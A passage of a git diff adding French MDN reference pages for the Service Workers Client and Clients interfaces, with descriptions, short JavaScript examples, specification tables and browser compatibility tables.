+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/client/id/index.html b/files/fr/web/api/client/id/index.html
new file mode 100644
index 0000000000..8e7cf2701c
--- /dev/null
+++ b/files/fr/web/api/client/id/index.html
@@ -0,0 +1,103 @@
+---
+title: Client.id
+slug: Web/API/Client/id
+tags:
+  - API
+  - Client
+  - Experimental
+  - Propriété
+  - Reference
+  - Service Workers
+  - ServiceWorkers
+  - id
+translation_of: Web/API/Client/id
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>La propriété <code><strong>id</strong></code> (lecture seule) de l'interface {{domxref("Client")}} retourne l'identifiant universellement unique de l'objet {{domxref("Client")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var clientId = Client.id;</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">TBD
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-id', 'id')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><strong>[1]:</strong> Avec un flag de Chrome 40 à 44.</li>
+</ul>
diff --git a/files/fr/web/api/client/index.html b/files/fr/web/api/client/index.html
new file mode 100644
index 0000000000..ceb18926b1
--- /dev/null
+++ b/files/fr/web/api/client/index.html
@@ -0,0 +1,92 @@
+---
+title: Client
+slug: Web/API/Client
+tags:
+  - API
+  - Client
+  - Experimental
+  - Interface
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerClient
+  - ServiceWorkers
+translation_of: Web/API/Client
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>L'interface <code>Client</code> de l'<a href="/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker</a> représente la portée d'exécution d'un {{domxref("Worker")}} ou {{domxref("SharedWorker")}}. Les clients {{domxref("Window")}} sont représentés par le plus spécifique {{domxref("WindowClient")}}. Vous pouvez obtenir les objets <code>Client</code>/<code>WindowClient</code> via les méthodes {{domxref("Clients.matchAll","Clients.matchAll()")}} et {{domxref("Clients.get","Clients.get()")}}.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Client.postMessage()")}}</dt>
+ <dd>Permet à un service worker d'envoyer un message au <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerClient" title="The ServiceWorker interface of the ServiceWorker API provides a reference to a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same service worker, each through a unique ServiceWorker object.">ServiceWorkerClient</a></code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Client.id")}} {{readonlyInline}}</dt>
+ <dd>Retourne l'identifiant universellement unique de l'objet <code>Client</code>.</dd>
+ <dt>{{domxref("Client.type")}} {{readonlyInline}}</dt>
+ <dd>Indique le type de contexte de navigation du client courant. Cette valeur peut être <code>auxiliary</code>, <code>top-level</code>, <code>nested</code>, or <code>none</code>.</dd>
+ <dt>{{domxref("Client.url")}} {{readonlyInline}}</dt>
+ <dd>Retourne l'URL du client service worker courant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce code est basé sur un fragment pris d'un <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html">exemple d'envoi de message</a> (voir <a href="https://googlechrome.github.io/samples/service-worker/post-message/">l'exemple en ligne</a>.) Ce code envoie une référence de message à laquelle le service worker peut répondre via {{domxref("Client.postMessage()")}}.</p>
+
+<p>Ce message est contenu dans une promesse qui est résolue si la réponse ne contient pas d'erreur et est rejetée avec une erreur.</p>
+
+<pre class="brush: js notranslate">// client service worker (par exemple un document)
+function sendMessage(message) {
+  return new Promise(function(resolve, reject) {
+    // Notez que c'est la version du ServiceWorker.postMessage
+    navigator.serviceWorker.controller.postMessage(message);
+    window.serviceWorker.onMessage = function(e) {
+      resolve(e.data);
+    };
+  });
+}
+
+// Contrôle du service worker
+self.addEventListener("message", function(e) {
+  // e.source est un object client
+  e.source.postMessage("Hello! Your message was: " + e.data);
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client', 'Client')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Client")}}</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Exemple simple de service workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Est ce que le ServiceWorker est prêt ?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promesses</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation performante des web workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+</ul>
diff --git a/files/fr/web/api/client/postmessage/index.html b/files/fr/web/api/client/postmessage/index.html
new file mode 100644
index 0000000000..1217139212
--- /dev/null
+++ b/files/fr/web/api/client/postmessage/index.html
@@ -0,0 +1,132 @@
+---
+title: Client.postMessage()
+slug: Web/API/Client/postMessage
+tags:
+  - API
+  - Client
+  - Méthode
+  - Reference
+  - Service Worker
+  - ServiceWorker
+  - postMessage
+translation_of: Web/API/Client/postMessage
+---
+<p>{{SeeCompatTable}}{{APIRef("Client")}}</p>
+
+<p>La méthode <code><strong>postMessage() </strong></code>de l'interface {{domxref("Client")}} permet à un service worker client d'envoyer un message à un {{domxref("ServiceWorker")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">Client.postMessage(message[, transfer]);</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Void.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Le message à envoyer au service worker.</dd>
+ <dt><code>transfer {{optional_inline}}</code></dt>
+ <dd>Un objet transferable, comme par exemple une référence à un port.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment de code est tiré de l'<a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/post-message/index.html">exemple d'envoi de message du service worker</a> exemple d'envoi de message du service worker (voir <a href="https://googlechrome.github.io/samples/service-worker/post-message/">exemple en ligne</a>). Le code envoi un message et transfert le port vers le service worker qui pourra répondre via {{domxref("Client.postMessage()")}}.</p>
+
+<p>Ce message est contenu dans une promesse qui se résolvera si la réponse ne contient pas d'erreur et qui échouera avec l'erreur.</p>
+
+<pre class="brush: js">function sendMessage(message) {
+  return new Promise(function(resolve, reject) {
+     var messageChannel = new MessageChannel();
+     messageChannel.port1.onmessage = function(event) {
+       if (event.data.error) {
+         reject(event.data.error);
+       } else {
+         resolve(event.data);
+       }
+     };
+    navigator.serviceWorker.controller.postMessage(message, [messageChannel.port2]);
+  });
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-postmessage-method', 'postMessage()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Derrière un flag de Chrome 40 à 44.</li>
+</ul>
diff --git a/files/fr/web/api/client/url/index.html b/files/fr/web/api/client/url/index.html
new file mode 100644
index 0000000000..f96661289f
--- /dev/null
+++ b/files/fr/web/api/client/url/index.html
@@ -0,0 +1,118 @@
+---
+title: Client.url
+slug: Web/API/Client/url
+tags:
+  - API
+  - Client
+  - Experimental
+  - Property
+  - Reference
+  - ServiceWorkers
+  - URL
+translation_of: Web/API/Client/url
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<div>La propriété <code><strong>url</strong></code> (lecture seule) de l'interface {{domxref("Client")}} retourne l'url du service worker client courant.</div>
+
+<div> </div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var clientUrl = Client.url;</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Valeur de type {{domxref("USVString")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('Au click de notification : ', event.notification.tag);
+  event.notification.close();
+
+  // Vérification pour savoir si l'évenement est ouvert et
+  // se focalise dessus si c'est le cas
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-url', 'url')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Défintion initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(41.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(41.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/clients/claim/index.html b/files/fr/web/api/clients/claim/index.html
new file mode 100644
index 0000000000..4901f018b7
--- /dev/null
+++ b/files/fr/web/api/clients/claim/index.html
@@ -0,0 +1,125 @@
+---
+title: Clients.claim()
+slug: Web/API/Clients/claim
+tags:
+  - API
+  - Clients
+  - Méthode
+  - Reference
+  - Service Workers
+  - claim
+translation_of: Web/API/Clients/claim
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}</p>
+
+<p>La méthode <code><strong>claim()</strong></code> de l'interface {{domxref("Clients")}} permet à un service worker actif de se définir comme service worker actif de la page client quand le worker et la page sont dans le même scope. Ceci déclenche un évènement {{domxref("ServiceWorkerContainer.oncontrollerchange","oncontrollerchange")}} dans toutes les pages dans la portée du service worker.</p>
+
+<p>Cette méthode peut être utilisée avec {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} pour s'assurer que la mise à jour du service worker sous jacent prend effet immédiatement pour et le client courant et tous les autres clients actifs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">ServiceWorkerClients.claim().then(function() {
+  // Faire quelque chose
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>None.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of these states:">Promise</a>.</code></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple suivant utilise <code>claim()</code> dans le gestionnaire d'évènement <code>onActivate</code> d'un service worker. Donc la page client chargée dans la même portée n'a pas besoin d'être rechargée avant de pouvoir utiliser le service worker.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(event) {
+  event.waitUntil(self.skipWaiting());
+});
+self.addEventListener('activate', function(event) {
+  event.waitUntil(self.clients.claim());
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale. Toujours en cours de développement (voir <a href="https://github.com/slightlyoff/ServiceWorker/issues/414">ticket 414</a> et <a href="https://github.com/slightlyoff/ServiceWorker/issues/423">ticket 423</a>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_de_navigateurs">Compatibilité de navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="À_voir_aussi">À voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Example simple de service workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les ServiceWorker sont prêt?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation optimisée des web workers</a></li>
+ <li>{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}</li>
+</ul>
diff --git a/files/fr/web/api/clients/get/index.html b/files/fr/web/api/clients/get/index.html
new file mode 100644
index 0000000000..1b52f54c9c
--- /dev/null
+++ b/files/fr/web/api/clients/get/index.html
@@ -0,0 +1,115 @@
+---
+title: Clients.get()
+slug: Web/API/Clients/get
+tags:
+  - API
+  - Clients
+  - Méthode
+  - Reference
+  - Service Workers
+  - get
+translation_of: Web/API/Clients/get
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<div>La méthode <code><strong>get()</strong></code> de l'interface {{domxref("Clients")}} récupère un service worker client correspondant à un id donné et le retourne dans une {{jsxref("Promise")}}.</div>
+
+<div> </div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">self.clients.get(id).then(function(client) {
+  // Faire quelque chose avec le client
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>id</code></dt>
+ <dd>Une {{domxref("DOMString")}} représentant l'id du client que vous souhaitez récuperer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dd>Une <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:">Promise</a></code> qui se résoud avec un objet {{domxref("Client")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">self.clients.get(options).then(function(client) {
+  self.clients.openWindow(client.url);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients-get-method', 'get()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("45.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("45.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/clients/index.html b/files/fr/web/api/clients/index.html
new file mode 100644
index 0000000000..1e53aade96
--- /dev/null
+++ b/files/fr/web/api/clients/index.html
@@ -0,0 +1,120 @@
+---
+title: Clients
+slug: Web/API/Clients
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Interface
+  - Reference
+  - ServiceWorker
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>L'interface <code>Clients</code> de l'<a href="/en-US/docs/Web/API/ServiceWorker_API">API de Service Workers</a> repésente un conteneur de liste d'objets {{domxref("Client")}}.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Récupère un service worker client correspondant à un id et le retourne dans une {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Récupèere une liste de service worker clients et les retourne dans une {{jsxref("Promise")}}. On inclut un paramètre <code>option</code> pour retourner tous les services worker clients dont l'origine est la même que le service worker d'origine. Si <code>option</code> n'est pas inclut, la méthode retourne seulement les service worker clients controllés par le service worker.</dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Ouvre un service worker {{domxref("Client")}} dans une nouvelle fenêtre de navigation.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Permet à un service worker actif de se définir comme étant le worker actif de la page quand le worker et la page sont dans la même portée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">clients.matchAll(options).then(function(clients) {
+  for(i = 0 ; i &lt; clients.length ; i++) {
+    if(clients[i] === 'index.html') {
+      clients.openWindow(clients[i]);
+      // ou faire quelque chose qui inclut le client concerné
+    }
+  }
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="À_voir_aussi">À voir aussi :</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Example simple de service workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Est-ce que les ServiceWorker sont prêt?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Utilisation optimisée des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/clients/matchall/index.html b/files/fr/web/api/clients/matchall/index.html
new file mode 100644
index 0000000000..6b17e793b9
--- /dev/null
+++ b/files/fr/web/api/clients/matchall/index.html
@@ -0,0 +1,130 @@
+---
+title: Clients.matchAll()
+slug: Web/API/Clients/matchAll
+tags:
+  - API
+  - Client
+  - Expérimental(2)
+  - Méthode
+  - Référence(2)
+  - Service Workers
+translation_of: Web/API/Clients/matchAll
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<div>La méthode <strong><code>matchAll()</code></strong> de l'interface {{domxref("Clients")}} retourne une <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:">Promesse</a></code> pour une liste de service worker clients. Inclure le paramètre <code>options</code> permet de retourner tous les services worker clients dont l'origine est la même que l'origine du service worker associé. Si <code>options</code> n'est pas inclus, la méthode retourne que le service worker client controllé par le service worker.</div>
+
+<div> </div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">ServiceWorkerClients.matchAll(options).then(function(clients) {
+  // faire quelque chose avec la list de clients
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>options</code></dt>
+ <dd>L'objet <code>option</code> vous permet de définir les options pour l'opération. Les options disponibles sont :
+ <ul>
+  <li><code>includeUncontrolled</code>: Un {{domxref("Boolean")}} — défini à <code>true</code>, l'opération retournera tous les services worker clients qui sont de la même origine que le service worker courant. Sinon, elle ne retournera que le service worker client controllé par le service worker courant. La valeur par défaut est <code>false</code>.</li>
+  <li><code>type</code>: Défini le type de client que vous voulez observer. Les types disponibles sont <code>window</code>, <code>worker</code>, <code>sharedworker</code>, et <code>all</code>. La valeur par défaut est <code>all</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
